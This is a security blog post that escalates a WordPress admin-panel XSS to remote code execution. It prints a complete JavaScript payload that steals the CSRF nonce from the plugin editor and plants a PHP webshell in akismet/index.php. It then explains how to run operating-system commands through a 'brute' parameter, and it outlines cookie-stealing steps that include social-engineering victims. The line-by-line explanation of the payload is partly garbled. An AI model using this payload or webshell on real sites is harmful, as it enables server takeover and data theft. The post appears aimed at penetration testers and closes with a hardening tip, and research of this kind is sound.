XSS to RCE – using WordPress as an example
A real world example of how an XSS in the administration portal of a WordPress instance can lead to an RCE by uploading a webshell using the XSS.
Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.
Other interesting cases
There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples
- XSS worm by Samy: - https://samy.pl/popular/tech.html
- Apache network compromise starting with a XSS in Atlassian JIRA: - https://blogs.apache.org/infra/entry/apache_org_04_09_2010
- XSS to RCE in Node via process.open() - https://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html
The attack steps
In a standard XSS attack, a penetration tester would usually take the following steps
- Find a XSS vulnerability
- Host a collecting server to capture session cookies that will be delivered by your XSS payload
- Send the URL with the XSS payload to a user via email (Reflected XSS) OR Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page
- Replay the session cookies to the application and gain access to the victim’s account.
- Explore the application for data/other vulnerabilities.
So I setup a local WP with a plugin that was vulnerable to XSS and used the following JS payload as mentioned in the tweet.
x=new XMLHttpRequest() p='/wp-admin/plugin-editor.php?' f='file=akismet/index.php' x.open('GET',p+f,0) x.send() $='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f x.open('POST',p+f,1) x.setRequestHeader('Content-Type','application/x-www-form-urlencoded') x.send($)
Here’s what the payload does
- Creates a new
fhold the complete URL to load 3The file that will be updated is
x.send()are used to specify the type of request and to send the actual request respectively
$contains the POST data that will be sent
- For every POST request in WordPress you need the
/ce" value="([^"]*?)"/.exec(x.responseText)extracts the csrf token from the previous response using a regular expression
- The php shell code is
- A new POST request is created and sent to the server along with appropriate form submit headers.
If an admin navigates to
/wp-admin/plugin-editor.php?file=akismet/index.php, this is what they will see
To access the shell, navigate to
/wp-content/plugins/akismet/index.php?brute=ls -a. You can now interact and execute operating system commands with the WordPress server using the brute parameter. To make the output more readable simply use the view-source option of the page.
This attack will obviously not work if the plugin editor is disabled which can be done by placing
define('DISALLOW_FILE_EDIT', true); in the
wp-config.php file. You can read more WordPress hardening tips at https://codex.wordpress.org/Hardening_WordPress (shouts to @anantshri).